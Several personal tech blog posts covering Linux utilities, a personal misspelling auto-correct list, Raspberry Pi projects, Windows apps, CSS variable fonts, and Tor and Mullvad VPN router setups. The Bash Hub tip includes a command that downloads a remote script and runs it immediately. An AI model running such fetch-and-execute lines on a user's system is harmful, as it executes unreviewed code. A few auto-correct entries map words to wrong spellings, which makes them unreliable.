If needed, use Smartmontool to monitor the status of you're disks.

sudo apt install smartmontools - Install smartmontool, which includes smartctl
sudo fdisk -l - Find the disk(s) you wish to ceck
sudo smartctl -t short /dev/sdX - Run a quick check, where X is you're drive number
For more info regarding the output, see this post

Optionally, setup Bash Hub for indexed and searchable terminal history in the cloud

curl -OL https://bashhub.com/setup && zsh setup - Check the installation script first, then install
When prompted, log into your account. Restart your session, and run bh to access the help menu
Add an environmental variable, indicating which commands should not be saved, e.g. export BH_FILTER="(scp|ssh|--password)"
Precede any command that contains sensitive information with #ignore to prevent it being saved
See usage docs: https://bashhub.com/usage

Optionally, setup Crontab UI, for web-based management of cron jobs

npm install -g crontab-ui - Install
HOST=0.0.0.0 PORT=9000 CRON_DB_PATH=/home/user/path/to/folder crontab-ui - Start crontab UI

Additional Tasks:

If needed, Setup VNC with Tight VNC Server and XFCE4 DE

Install Heroku

Spelling Auto-Correct System ✏️❌

Alicia's Notes 🚀 — Mon, 01 Feb 2021 00:00:00 +0000

TDLR; Auto-correct is a lot more efficient than manually correcting misspelled words. Espanso is awesome.
Beyond that, this isn't too interesting - I just documented this so I can refer back to it in the future.
If you're just looking for a generic word list, see this post, which contains 4,200 common misspellings.

Intro
Word List
Converter
Usage

Intro

I am terrible at spelling. About 15% of what I've typed will be underlined in red. It's usually the same couple hundred words that I forget how to write. The best solution would probably be to learn how to spell, but I've instead I use a system to auto-correct my mistakes.

I use Espanso to implement this.

There are of course standalone applications that do exactly this (like client9/misspell, streetsidesoftware/cspell and sedm0784/vim-you-autocorrect), but I have other Espanso scripts for various tasks, so it made sense to bundle it all into one simple, cross-platform solution. I've previously used Auto-Hot-Key which is also very good, but only available for Windows systems. Esprano's matching system makes it an extremely powerful tool, this is a very trivial task compared to all the other awesome stuff you can use it for.

My Auto-Correction List

These are just the 220-ish words that I most often miss type/ spell, along with their correct spellings. It is written as an AHK script (because it's easier to maintain), but I made a quick utility to convert AHK into YAML for use with Espanso.

For a more comprehensive list of 4,200 crowd source common misspellings, see here: https://listed.to/p/nWcfB31ZTD

; This is my personal list of words I commonly misspelled plus auto-corrections
; Licensed under MIT - (C) Alicia Sykes, 2021 <https://aliciasykes.com/>
; Format: '::[Incorrect Word]::[Correct Word]'

::acount::account
::acsent::accent
::activley::actively
::adress::address
::advesary::adversary
::alchol::alcohol
::alein::alien
::alighn::align
::alternativley::alternatively
::alterntive::alternative
::anivesary::anniversary
::anonimity::anonymity
::anual::annual
::appologies::apologies
::appropriatley::appropriately
::arbitary::arbitrary
::arbitory::arbitrary
::arcitecture::architecture
::artifecial::artificial
::atatchment::attachment
::athalete::athlete
::attatched::attached
::availible::available
::availiblity::availability
::bandwith::bandwidth
::beginer::beginner
::behaviour::behavior
::boredem::boredom
::borogh::borough
::braile::braille
::caffine::caffeine
::cancelation::cancellation
::capsual::capsule
::celestrial::celestial
::cerial::cereal
::chanel::channel
::chrisis::crisis
::chrismas::Christmas
::christmas::Christmas
::collabrotive::collaborative
::collapsable::collapsible
::coloumn::column
::coloumns::columns
::comercial::commercial
::concious::conscious
::concisley::concisely
::consistant::consistent
::consistenctcy::consistency
::contributers::contributors
::controll::control
::controversal::controversial
::convertor::converter
::convinience::convenience
::convinient::convenient
::conviniently::conveniently
::coppied::copied
::createing::creating
::critisise::criticize
::cypher::cipher
::deafault::default
::deamon::daemon
::decentralised::decentralized
::decission::decision
::dedacated::dedicated
::deffinitive::definitive
::definatley::definitely
::definetive::definitive
::deinal::denial
::deleteing::deleting
::delivaring::delivering
::diferent::different
::digestable::digestible
::direcitve::directive
::direcroty::directory
::disapear::disappear
::disapearing::disappearing
::disastear::disaster
::disopointed::disappointed
::donut::doughnut
::duplecate::duplicate
::dupplicate::duplicate
::earnt::earned
::easyiest::easiest
::eddition::edition
::effectivley::effectively
::elderley::elderly
::embeding::embedding
::embrase::embrace
::emited::emitted
::emiting::emitting
::entirley::entirely
::entropey::entropy
::entrpreners::entrepreneurs
::entrpreneures::entrepreneurs
::entrpreneurs::entrepreneurs
::enviroment::environment
::errased::erased
::erruption::eruption
::esculation::escalation
::everythings::everything's
::Etherium::Ethereum
::exactley::exactly
::existance::existence
::experence::experience
::expirey::expiry
::expirienced::experienced
::exstersential::existential
::extendible::extendable
::extremley::extremely
::extrmley::extremely
::failrly::fairly
::favourite::favorite
::filiment::filament
::flavour::flavour
::gaurantee::guarantee
::geomatry::geometry
::grammer::grammar
::greatful::grateful
::guurantee::guarantee
::habbit::habit
::happines::happiness
::hault::halt
::hense::hence
::hiearachy::hierarchy
::honney::honey
::hummility::humility
::hygine::hygiene
::immediatley::immediately
::immidiate::immediate
::imune::immune
::indapendent::independent
::indefinatley::indefinitely
::indeinetley::indefinitely
::independant::independent
::infomation::information
::inherintly::inherently
::inteligence::intelligence
::interpritations::interpretations
::intiger::integer
::joyfull::joyful
::kernal::kernel
::lavendar::lavender
::lengh::length
::lenght::length
::lentgh::length
::lettice::lettuce
::leveles::levels
::likley::likely
::lonley::lonely
::lunimance::luminescence
::luxary::luxury
::maintanance::maintenance
::managment::management
::maximising::maximizing
::merley::merely
::messanger::messenger
::metior::meteor
::microfibre::microfiber
::minamal::minimal
::misarey::misery
::missuse::misuse
::moulding::molding
::mundaine::mundane
::mystries::mysteries
::mystry::mystery
::neatley::neatly
::neaural::neural
::neautral::neutral
::neccisity::necessity
::necissarily::necessarily
::necissary::necessary
::neighbours::neighbors
::nicley::nicely
::noicse::noise
::noticable::noticeable
::ocassion::occasion
::occour::occur
::occoured::occurred
::occours::occurs
::ofline::offline
::ommited::omited
::ommiting::omitting
::oppertunities::opportunities
::ourself::our self
::overidden::overridden
::overidding::overriding
::overide::override
::overiding::overriding
::overridding::overriding
::overriden::overridden
::pallette::palette
::pannel::panel
::panpha::panther
::pantfer::panther
::pantpha::panther
::paramaters::parameters
::particuarly::particularly
::particulary::particularly
::peice::piece
::percieive::perceive
::permant::permanent
::permenent::permanent
::permenently::permanently
::permently::permanently
::persiverence::perseverance
::poisen::poison
::poridge::porridge
::practicle::practical
::prefering::preferring
::prerequsites::prerequisites
::presance::presence
::privilage::privilege
::privilages::privileges
::profesional::professional
::profesor::professor
::programatically::programmatically
::proove::prove
::propietry::propriety
::propiety::propriety
::protacol::protocol
::protien::protein
::purley::purely
::quater::quarter
::razer::razor
::reccomend::recommend
::reccomended::recommended
::receits::receipts
::receiveing::receiving
::receve::receive
::recipie::recipe
::recognise::recognize
::recomended::recommended
::relevent::relevant
::remotley::remotely
::reoccoouring::reoccurring
::repeatidly::repeatedly
::repositry::repository
::restraunt::restaurant
::revele::reveal
::revoction::revocation
::reythem::rhythm
::rubish::rubbish
::safley::safely
::saftey::safety
::sandwitch::sandwich
::satallite::satellite
::satelite::satellite
::sattelite::satellite
::scafold::scaffold
::scafolding::scaffolding
::scafolds::scaffolds
::scenerio::scenario
::secondry::secondary
::securley::securely
::semmi::semi
::semmy::semi
::senario::scenario
::sensetive::sensitive
::sentance::sentence
::sepena::subpoena
::seperate::separate
::sercinctly::succinctly
::sersincltly::succinctly
::shaddow::shadow
::shiney::shiny
::siezed::seized
::sighn::sign
::signirure::signature
::signiture::signature
::signitures::signatures
::similary::similarly
::simultaniously::simultaneously
::siutably::suitably
::spair::spare
::sparce::sparse
::specalist::specialist
::squirel::squirrel
::streatch::stretch
::strengh::strength
::stright::straight
::subpena::subpoena
::subsintley::succinctly
::succesfully::successfully
::sucinctley::succinctly
::sucinctly::succinctly
::sufice::suffice
::supena::subpoena
::suppliment::supplement
::survelance::surveillance
::susincltley::succinctly
::susincltly::succinctly
::symol::symbol
::synonim::synonym
::synonims::synonyms
::targetted::targeted
::tatoo::tattoo
::tedius::tedious
::teh::the
::teir::tier
::thouh::though
::tourch::torch
::tracable::traceable
::trafic::traffic
::triaged::
::trophey::trophy
::unauthorised::unauthorized
::uneque::unique
::unfortunently::unfortunately
::unlikly::unlikely
::unnecissary::unnecessary
::ussage::usage
::utilisation::utilization
::vacencies::vacancies
::vacency::vacancy
::vegtable::vegetable
::vegtables::vegetables
::versitile::versatile
::visualisations::visualizations
::voulenteering::volunteering
::vulnerabilites::vulnerabilities
::weekley::weekly
::werabouts::whereabouts
::wheather::whether
::yeild::yield
::youghurt::yogurt

For more words, see: https://listed.to/p/nWcfB31ZTD

Source code for Converter Script on Repl.it

Usage

For Espanso, first convert your source into YAML, then run espanso path to find your config file location, drop the script into that directory, and restart Espanso, it should now be running.

For the Auto Hot Key script, once you have AHK installed, then just download the above script (save it with the .ahk extension), double click on it and it will be running.

Top 25 Raspberry Pi Projects 🥧

Alicia's Notes 🚀 — Fri, 15 Jan 2021 00:00:00 +0000

Intro

Ever since the first version was released in 2012, the Raspberry Pi has been a staple piece of kit for professionals, hobbyists, educators and everyone in between. And for good reason, it's small, low power, affordable but extremely versatile. There are of course other single board computers on the market, but the Pi has a strong community behind it and provides a good balance between capabilities, form factor and price.

Raspberry Pi Projects

Here is a curated list of projects that I have used, enjoyed and would recommend for anyone looking to put their Pi to use. For links to each projects GitHub repo, see: https://github.com/stars/Lissy93/lists/raspberry-pi

There's nothing too complicated here, so this should also provide a good starting point for beginners. Everything here is fully open source and backed by strong communities with large user bases.

Pi-Hole - Network-wide DNS-based ad blocker
RetroPi - Retro game emulator
Magic Mirror - Easy modular smart mirror project
Pi-KVM - Easy and fully-featured KVM-over-IP
OctoPrint - 3D printer remote controller interface
PiMusicBox - An all-in-one streaming device with Spotify support (see also PiCorePlayer or Balena Sound)
SonicPi - Code-based music creation tool
Kiwix Hotspot - An off-grid WiFi hotspot serving up all the world's knowledge (Wikipedia, StackExchange, TED, the Gutenburg Library and more)
RaspAP - Fully-features wireless access point, with GUI user interface. Supports ad-blocking, VPN, data usage, and more
PiVPN - Super simple OpenVPN or WireGuard server
P4wnP1_aloa - All-in-one highly customizable Pi Zero attack platform (see also PwnPi, a pen test drop box)
MotionEye - Easy multi-camera CCTV surveillance system (see also Rpisurv)
RaspiBlitz - Run a BTC lightning node (see also Umbrel or RaspNode and this tutorial)
NextCloudPi - Self-host a local file server, with tons of useful plugins available
Audio-Reactive-LED-Strip - Create lighting effects in time with music
BrewPi - Fully automated brewery controller
RaspberryShake - Earthquake monitoring with seismographs and infrasound
Sensor.Community - Host a Pi environment sensor, using the Enviro Air Quality pHAT
RPiPlay - Turn a Raspberry Pi into an Airplay server to enable screen mirroring on TVs, monitors and projectors
RpiITX - RF transmitter 5 KHz to 1500 MHz
PiAware - ADS-B aircraft tracking from FlightAware (see also Startus ADS-B)
Pirate Box - Anonymous offline mobile file-sharing and communications system
MoBro - An external resource monitor screen for your PC
Mycroft AI - Privacy-respecting AI voice assistant similar to Alexa. You can also build a full enclosure out of the developer kit. (Alternatively, build a Google Home, using Voice Kit or an Alexa)

There is almost no limit to what you can do with a Pi, this list is just intended to serve as an example and a provide a starting point.

Operating Systems

Raspberry Pi can also be used as a normal computer; either a desktop, mini handheld or headless as a server. You're not just limited to Raspberry Pi OS, it also works very well with Debian, FreeBSD, Arch, Kali, Slackware and Ubuntu to name a few.

For more specific use cases, there's also Diet Pi (super light-weight OS specifically for single-board computers), OpenElec (lightweight system for running a Kodi media center), Windows IoT Core, OCMC (media center), Emteria Android (for Android) and Chromium OS (similar to open source alternative to Chrome OS), Nems (for network monitoring) and many more

Self-Hosted Applications

Once running an OS of your choice, the Pi is also perfect for self-hosting Linux applications. For example;

Home Assistant - Smart home dashboard and controller
OpenMediaVault - Network attached storage with plugins
NextCloud - Full productivity platform
Plex - Media server
Sonar - Smart Media Downloading for BitTorrent
NetData - Real-time system resource monitoring
StreamLink - Stream your PC games to your TV (or your Plex content, with RasPlex)

... and tons more

If you're interested in self-hosting multiple apps, or using your Pi as a little home server, then check out Home Lab OS by Nick Busey, it makes correctly configuring a complex lab as easy as running a single command.

Tools for Flashing SD Card/ USB

For flashing an OS to you're Pi's SD card or USB: Official Pi Imager, Etcher or use the dd (CLI utility on Unix systems). Rufus and Win32 Disk Imager are also good utilities, but only available on Windows.

To backup you're Pi's SD card of USB, you can also use dd (the same as cloning, but in reverse). For example:

Backup: sudo dd bs=4M if=/dev/sdb of=PiOS.img
Restore: sudo dd bs=4M if=PiOS.img of=/dev/sdb

For more information, see this tutorial. Alternatively, on Windows systems, you can use Win32 Disk Imager to clone the SD card.

More Project Ideas & Tutorials

The following projects are a bit more hands-on

Truly WiFi extender - A very performant and inexpensive WiFi repeater solution: via Instructables by @mrtejas99
Print Server - Turn any old printer into an internet-connected WiFi printer: via makeuseof.com by Christian Cawley
YouTube Streaming Bird Box: via Instructables by @buestad
Smart Glasses with a treansparent OLED display: via Instructables by @Bradley_Campbell
3D-Printed Mini Macintosh PC: via Instructables
Mini Desktop PC with the Pi 4: via Instructables by @thediylife
Internet Radio Player - Stream content from Pandora's Radio: via Instructables by @Ayy
Raspberry Pi Zero Cherry MX Split Mechanical Keyboard: via Instructables by Gosse Adema
Step-by-step Pi NAS with OpenMediaVault: via Instructables by @araymbox
Distraction-Free Writing Machine: via Instructables by @CameronCoward

My Top 50 Windows Apps 🖥

Alicia's Notes 🚀 — Fri, 01 Jan 2021 21:00:00 +0000

This is my personal reference list of useful software for Microsoft Windows.
Typically I only install what I need, and uninstall software that hasn't been used for a while. Where possible I prefer to run containerized or portable apps. There's nothing installed on my system that isn't on this list.

Before setting anything up, the first task is to disable telemetry, remove pre-installed bloatware and make a few security tweaks. For this I use a series of PowerShell scripts provided by Privacy.Sexy.

Items marked with '❌' are not fully open source, and '💲' indicates either not free, or has premium tier

Networking

Tor Browser - For more anonymous browsing + access to the Tor network
VirtualBox - x86, AMD64, and Intel64 virtual machines
WinSCP - SFTP client and remote access file manager
qBittorrent - BitTorrent client
WireShark - Packet analyzer
Angry IP Scanner - Quickly find IPs within a range, open ports and other info
NetLimiter - ❌💲 Network traffic monitoring tool with simple firewall functionality
Universal Radio Hacker - SDR client for investigating wireless protocols

General Apps

HWiNFO64 - ❌ System info and diagnostics
Process Hacker - Monitor system resources and analyse currently running processes
Etcher - For flashing ISOs onto USB drives with a overly-fancy UI
ExifCleaner - Tool to easily remove metadata from images and media
X410 - ❌💲 Fork of X.org to run Linux GUI apps in Xfce via WSL
LinPhone - VOIP client for making/ receiving phone calls and SMS messages

Security Utilities

Cryptomator - Fast file encryption for cloud storage
VeraCrypt - Strong disk, container and file encryption
KeePassXC - Password manager for KeePass files
Kleopatra - Certificate manager and PGP file encryption suit
WireGuard - VPN connection client using WireGuard protocol
CalmAV - Anti-virus scanner (See also, ClamWin GUI app)
BleachBit - Frees up disk space by deleting unneeded data in the cache and temporary files
Windows Spy Blocker - Block Microsoft telemetry and data collection and manage application access
Harden Tools - Easily turn off undesired or privacy-invasive Windows features
WFN - Firewall notifier to monitor outgoing connections

UI Utilities

CopyQ - Advanced clipboard manager
Espanso - Text expander with powerful matching system (similar to AHK)
AutoHotKey - Keyboard remapping, macros and automation scripting
Quick Look - Small utility that lets you quickly preview a file by pressing Space
EarTrumpet - A utility that provides better volume control on a per app basis
ColorPicker - Minimal but complete color picker
Power Toys - Color picker, fancy zones, run dialog, rename utility, shortcuts and more
SidebarDiagnostics - Customizable desktop widget showing system resource and hardware info
Wox - Global search, run commands and execute actions with Alt + Space
Groupy ❌- Group multiple windows into browser-like tabs, while preserving Alt + Tab switching

Creativity

Gimp - Image and photo editing application
DarkTable - Organize and bulk edit photos (similar to Lightroom)
InkScape - Digital drawing/ illustration
Audacity - Multi-track audio editor and recording
OBS Studio - High performance streaming/ broadcasting and recording
VLC Player - Multimedia player and play back framework
Shotcut - Video editing platform
HandBrake - For converting video from any format to a selection of modern codecs
Synfig Studio - 2D animation
Blender - 3D modelling, rendering and sculpting
Cura - 3D Printing software, for slicing models
Dia - Versatile diagramming tool, useful for UML (similar to MS Visio)
ShareX - Quick and easy screen recorder
SmugMug ❌💲- Premium photography backup, sync, sharing and publishing service

Media

FreeTube - YouTube client
Nuclear - Free music streaming & downloads
Spotify ❌- Premium music subscription
Amarok - Powerful local music player
Pocket Casts ❌- Podcast player
Plex Client - Client for accessing self-hosted media server
Steam ❌- PC game store

Productivity

Standard Notes - Encrypted, synced notes application
Thunderbird - Email, calendar and contacts client
ProtonMail Bridge - Allows for ProtonMail to be used with client
Tresorit ❌- Cloud storage sync and backup
1Password ❌- Cloud-synced, multi-device password manager and auto-fill
Firefox - Web browser with containers
Brave Browser - Chromium-based web browser
Binance ❌- Full-screen crypto trading
LibreOffice - Basic Office suit

Development

VS Code - Customizable code editor, with InteliSense, built-in compilers, git and plugins
Cmder - Better console emulator for Windows, with Tmux-like features, great for SSH sessions
PostMan - For testing and developing API endpoints
Android Studio - For native Android development with Java/ Kotlin
Arduino IDE - Compile and upload for IoT devices
Processing - IDE and compiler for creative coding with the Processing language
DB Browser for SQLite - Create, design, and edit database files for SQLite
RunJS - Real-time JavaScript playground, useful for writing quick scripts
Docker Desktop - Easy way to containerize applications
Notepad++ - Lightweight text editor with syntax highlighting
Zap - Web app security analyzer
Vega - Automated security testing to find XXS, SQL injection and other issues
Git - Version control system

Device-Specific

YubiKey Manager - Configuring YubeKey devices
OnlyKey - For configuring the OnlyKey with PGP, SSH, Passwords, 2FA, Crypto and secure data
StreamDeck - Setting up macros on the StreamDeck
Razer Synapse ❌- Customize the RGB for Razer products
SoundBlaster Audigy FX ❌- Drivers and audio level customization for sound card
AMD Radeon Settings ❌- Drivers for customizing graphics card for different tasks
Chameleon - For programming the ChameleonMini NFC / RFID contactless smartcard emulator
Ledger Live ❌ - App for managing assets stored on Ledger Hardware Wallet

Installation

On new installs, Microsoft's Package Manager can be useful for quickly installing required software.

See also, my Winstall Collection of the above apps.

Example winget Script


winget install --id=Lexikos.AutoHotkey -e
winget install --id=REALiX.HWiNFO -e
winget install --id=GNURadio.GNURadio -e
winget install --id=Balena.Etcher -e
winget install --id=WiresharkFoundation.Wireshark -e
winget install --id=Mozilla.Firefox -e
winget install --id=angryziber.AngryIPScanner -e
winget install --id=Microsoft.PowerToys -e
winget install --id=Docker.DockerDesktop -e
winget install --id=Oracle.VirtualBox -e
winget install --id=WinSCP.WinSCP -e
winget install --id=qBittorrent.qBittorrent -e
winget install --id=Cryptomator.Cryptomator -e
winget install --id=Keybase.Keybase -e
winget install --id=KeePassXCTeam.KeePassXC -e
winget install --id=StandardNotes.StandardNotes -e
winget install --id=Mozilla.Thunderbird -e
winget install --id=ProtonTechnologies.ProtonMailBridge -e
winget install --id=AgileBits.1Password -e
winget install --id=BraveSoftware.BraveBrowser -e
winget install --id=thehandbraketeam.handbrake -e
winget install --id=LibreOffice.LibreOffice -e
winget install --id=GIMP.GIMP -e
winget install --id=Inkscape.Inkscape -e
winget install --id=darktable.darktable -e
winget install --id=Audacity.Audacity -e
winget install --id=OBSProject.OBSStudio -e
winget install --id=VideoLAN.VLC -e
winget install --id=Meltytech.Shotcut -e
winget install --id=BlenderFoundation.Blender -e
winget install --id=Ultimaker.Cura -e
winget install --id=Spotify.Spotify -e
winget install --id=Valve.Steam -e
winget install --id=Postman.Postman -e
winget install --id=Arduino.Arduino -e
winget install --id=SQLiteBrowser.SQLiteBrowser -e
winget install --id=Notepad++.Notepad++ -e
winget install --id=elgato.streamdeck -e

Note: It's very important to always carefully check the URL for each download before proceeding. Only install applications from their official source.

[REFERENCE] Using Variable Fonts in CSS 🔤

Alicia's Notes 🚀 — Thu, 10 Dec 2020 18:16:52 +0000

This is just a short reference to using fonts with Variable Axes in CSS

What are Variable Fonts?

Variable fonts are font files that encapsulate the entire family, and allow for custom attributes (regarding things like weight, slant, grade, character-width) to be set. This brings several benefits:

Much higher quality rendering of fonts, without browser distortions
Greater control over customization, as you can specify each value separably
The need only for a single font file (rather than a version for each style). Great for performance due to reduced file size and fewer requests

Variable fonts were announced in 2016, and now are officially supported by all modern browsers and most major operating systems, as an extension to the OpenType Specification. There are now many fonts that support variable axes.

Official Variation Axes

Weight (`wght`)

Corresponding CSS attribute: to font-weight
Example usage: font-variation-settings: 'wght' 625;
Typical range: 100 - 900

Italic (`ital`)

Corresponding CSS attribute: to font-style
Example usage: font-variation-settings: 'ital' 1;
Typical range: 0 - 1 (Indicating upright or italic)

Slant (`slnt`)

Similar to italics, but allows you to specify an exact value (in a degree continuum) and it does not include glyph substitution
Corresponding CSS attribute: to font-style
Example usage: font-variation-settings: 'slnt' 14;
Typical range: -90 – 90 degrees

Optical Size (`opsz`)

This allows adding or removing detail to improve legibility on small or large screen sizes. Set to auto by default, and usually this is adequate
Corresponding CSS attribute: to font-optical-sizing
Example usage: font-variation-settings: 'opsz' 36;
Typical range: value usually matches font-size

Width(`wdth`)

Corresponding CSS attribute: to font-stretch
Example usage: font-variation-settings: 'wdth' 115;
Typical range: 75% - 125%

Custom Axes

Many fonts also have a number of custom axes that can be modified. Typically these are represented with capitals. The below are several common custom axis, but Nick Sherman's project v-fonts.com provides an interactive playground, where you can properly check out many more of these axes.

Grade (`GRAD`)

Lets you modify the weight, without effecting width. Useful for responding to low-resolution screens
Example usage: font-variation-settings: 'GRAD' 88;
Typical range: Decimal, between -1 - 1

Ascenders and Descenders (`YTAS` & `YTDE`)

Alters of height of the stems and tails of each character
Example usage: font-variation-settings: 'YTAS' 800, 'YTDE' -350;
Typical range: YTAS 650 - 850. YTDE -500 - -138

Combining Properties

To use multiple variable font properties, you must combine them into a single line, using a comma-separated list.
(Note: When overriding a single font-variation property, you must re-define all of the other properties.)

font-variation-settings: 'wght' 375, 'GRAD' 88;

Supporting Older Browsers

In order to support older browsers, use the @supports mixin to override text with variable font properties. For example:

h1 {
 font-family: some-non-variable-font-family;
}

@supports (font-variation-settings: 'wdth' 115) {
 h1 {
    font-family: some-variable-font-family;
 }
}

Quick Tips

Slant & Italics

It is possible to use both slant (slnt) and italics (ital) at the same time. This enabled you to separate the angle change from the glyph substitution.
i.e the italics font property replaces some characters with a different glyph, usually for ascetics. Turning italics off, and then using slant to italicize the text, means that no characters are replaced. The reserve is also true, enabling italics and setting the slant to 0 will replace the glyths. This makes a much bigger than expected difference.

For example:

font-variation-settings: 'slnt' 10, 'ital' 0;

Additional Resources

Interactive Guide: via variablefonts.io
A resource for finding and trying variable fonts: via V-Fonts
Variable Font Documentation: via MDN Web Docs
Browser Support: via Can I Use?
Fonts that Support Variable Axes: via Google Fonts
Microsoft Edge Demo: via Google

Articles:

The Official Announcement: via OpenType/ John Hudson
Variable Fonts: via Wikipedia
Variable Fonts Are Here to Stay: via Google Design
Variable Fonts Are the Next Generation: via Communication Arts/ Thomas Phinney

Try. 💯

Alicia's Notes 🚀 — Sun, 15 Nov 2020 20:00:00 +0000

Try
Try again
Try harder
Try differently
Try again tomorrow
Try again the next day
Try to find another way
Try to fix what's not working
Try to find someone who has done it
Just keep trying, until you succeed

Pi Zero Tor-Routed Access Point 📶

Alicia's Notes 🚀 — Sat, 17 Oct 2020 15:28:19 +0000

Quick guide on creating an always-on Tor-routed secondary wireless access point on a Pi Zero

Set up the Pi

Download and Extract Raspberry Pi OS Lite
Flash the ISO onto a MicroSD Card, with Etcher or similar software
Place a file called ssh into the boot dir (to allow for SSH access)
Insert SD card into Pi, plug in the Ethernet and power it up
Determine the IP of the new Pi with nmap, or in your router settings
SSH into ssh pi@<ip>, the password is raspberry
Change the password with: sudo passwd

Set up the Access Point

Update packages, and get dependencies:
sudo apt-get update
sudo apt-get install iptables-persistent git
Get Pi Hostpot setup script:
git clone https://github.com/unixabg/RPI-Wireless-Hotspot.git
Begin the Install Process
cd RPI-Wireless-Hotspot
sudo ./install
The script will walk you through setting up a WiFi network, choosing a name, authentication type and password

Configure Tor

Install Tor
sudo apt-get install tor

Configure
sudo nano /etc/tor/torrc

# Then enter the following at the bottom of the file
Log notice file /var/log/tor/notices.log
VirtualAddrNetwork 10.192.0.0/10
AutomapHostsSuffixes .onion,.exit
AutomapHostsOnResolve 1
TransPort 9040
TransListenAddress 192.168.42.1
DNSPort 53
DNSListenAddress 192.168.42.1
# Save and exit

Update IP Tables
sudo iptables -F
sudo iptables -t nat -F
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 22 -j REDIRECT --to-ports 22
sudo iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j REDIRECT --to-ports 53
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --syn -j REDIRECT --to-ports 9040
sudo sh -c iptables-save > /etc/iptables/rules.v4

Start Tor Service

Start the Tor service
sudo service tor start
Check if it's running okay
sudo service tor status
Start tor on boot
sudo update-rc.d tor enable
Finally, reboot the device
sudo reboot

Done!

[HOW-TO] Mullvad VPN using WireGuard on OPNsense 👁️‍🗨️

Alicia's Notes 🚀 — Sun, 04 Oct 2020 11:51:12 +0000

I am new to OPNsense, and got totally stuck on this. There wasn't a lot of information online about this, so after I'd (finally) got it working, I wrote this step-by-step guide

1. Install WireGuard

Navigate to System --> Firmware --> Plug-ins, and select and install 'os-wireguard'.
Now you can refresh the page, and go to, go to VPN --> Wireguard

2. Create a Local Instance

Under VPN --> WireGuard --> Local, create a new instance which looks like this:

Name: Mullvad
Public Key: (Automatically Generated)
Private Key: (Automatically Generated)
Listen Port: 51820 (must be unique)
DNS Server: 193.138.218.74 (this is Mullvad's privacy DNS service. If you are using a different VPN, use their DNS here instead)
Tunnel Address: Leave blank for now, we'll come back to this

Hit save

3. Get Your Account Tunnel IP

Once your local config is saved, click edit, and a private and public key should have been automatically generated. Make note of the public key.

SSH into your box, and run the following command, where account number is your 16-digit Mullvad key (without dashes), and public key is from your newly created local instance.

curl -sSL https://api.mullvad.net/wg/ -d account=[mullvad-account-number] --data-urlencode pubkey=[mullvad-public-key]

This will give you an output with 2 IP addresses, like: 00.xx.xxx.xx/xx,fc00:bbbb:bbbb:bb00::0:0x00/128$

It's linked to your account, so keep it safe.

4. Add Tunnel Address to Local Instance

Go back to your Local Instance, and under Tunnel Address, add both the IPs returned from the above curl command

5. Choose a Mullvad Server

Navigate to https://mullvad.net/en/servers/ and select a WireGuard server that meets your requirements. Make note of it's name/ proxy address, public key and port.

6. Create an Endpoint

Under VPN --> WireGuard --> Endpoints, and create a new instance, with the following data:

Name: MullvadInstance
Enabled: true
Public Key: (public key from your chosen Mullvad instance)
Shared Secret: [blank]
Allowed IPs: 0.0.0.0/0
Endpoint Port: (multihop port from your chosen Mullvad instance)
Keepalive: 20

Your Endpoint should look something like this:

7. Assign Endpoint to Local Instance

Navigate back to VPN --> WireGuard --> Local, and click edit for your instance. Under Peers, select the name of your newly created endpoint

Your Local Instance should now look like this:

8. Add Outbound Rule

Under Firewall --> NAT --> Outbound, switch the Rule Generation mode to Hybrid (from automatic).

Next, create a new manual rule, with the following details:

Interface: WireGuard
Source Address: LAN net
Translation / Target: Interface address

And all other fields can be left as default

9. Enable VPN

Finally, go back to VPN --> WireGuard --> General - and hit Enable WireGuard VPN - Done!

Under VPN --> WireGuard --> List Configuration, you should now see the connection details

10. Test

To test your connection to Mullvad, navigate to https://mullvad.net/en/check/
Here you can also confirm that your IP is not blacklisted, and that there are no DNS or WebRTC leaks.

Mullvad also has a simple API, that you can call to, and confirm your connection. This is useful for automation.

$ curl https://am.i.mullvad.net/connected

$ curl https://am.i.mullvad.net/json

Now that everything's up and working, it's worth noting that if you haven't yet configured automated backups, don't forget to export your working config, under System --> Configuration --> Backups :)

Additional Notes

Disabling and re-enabling WireGuard from the General tab does not refresh updated data from the Local or Endpoints tab. For that, you need to disable, re-enable and save changes in these pages accordingly. This is useful to know for if your troubleshooting and unsure why your changes are not taking effect!

SOCKS5 Proxy

Optionally, you can use SOCKS5 on client devices or browsers, for additional protection, and improved performance. It's also possible to use the SOCKS5 proxies to multihop, enabling the client to exit from a server that is different from the one you connected to. Mullvad's WireGuard proxy can be found at 10.64.0.1 port 1080.

For more detailed info, see the SOCKS5 Proxy Guide on Mullvad's Docs.

Port Forwarding

If you need to expose a service to the internet from behind Mullvad, then you need to individually assign the ports in your Mullvad account. Log into your Mullvad account, and navigate to mullvad.net/account/ports. From here you'll see a list of your public keys, simply press the "Add New" icon under the Ports section of your desired instance, and specify the port your internal service is running on.

For more detailed info, see the Port Forwarding Guide on Mullvad's Docs.

Primary sources I used:

OPNsense Docs WireGuard MullvadVPN Road Warrior Setup
OPNsense Forum Wireguard & Mullvad - I'm lost.....
Jonny's Screenshot Guide, via Imgur
Thomas Krenn's guide to OPNsense WireGuard Configuration

Thanks to the users over at the OPNsense forum, who were also a big help.

Custom Styling for Listed Blog 💅

Alicia's Notes 🚀 — Thu, 01 Oct 2020 14:29:13 +0000

Here's the stylesheet that I'm using currently.

This theme is for the new version of Listed. For older versions see this post

Colors

Main

Background #0b1021

Background Darken #060913

Background Lighten #141b33

Primary #00CCB4

Primary Dark #092935

Action Colors

Info #04e4f4

Success #20e253

Warning #f6f000

Danger #f80363

Neutral #272f4d

Greyscale

Bright White #ffffff

Off-White #f0f0f0

Pale Grey #dcdcdc

Mid-Grey #a9a9a9

Dark Grey #414141

Off-Black #202020

Pitch-Black #000000

Typefaces

Body: Roboto Mono
Headings: Roboto Slab

Example Screenshots

Epic Internet Stuff! ✨

Alicia's Notes 🚀 — Wed, 30 Sep 2020 11:37:36 +0000

Bored? Here's a collection of stuff I stumbled upon on the internet, and thought was pretty epic 🌈

Full credit to the legends behind each of these sites 🦸‍♂️

Enjoy! 🤩

100,000 Stars - A WebGL 3D Visualization of out Solar System, Galaxy and Universe
1001 Albums Generator - Gives you a new album to listen to everyday
Acapella Extractor - Isolates voice from any track/ removes music and background
Ask Nature - Search for a query, to find how nature has adapted to solve problems
A Good Movie to Watch - Find top-rated TV and Movies, for your chosen streaming services and country
APOD - NASA's astronomy picture of the day - High quality, beautiful space images updated daily
Abbreviations.com - The World's largest collection of abbreviations and acronyms
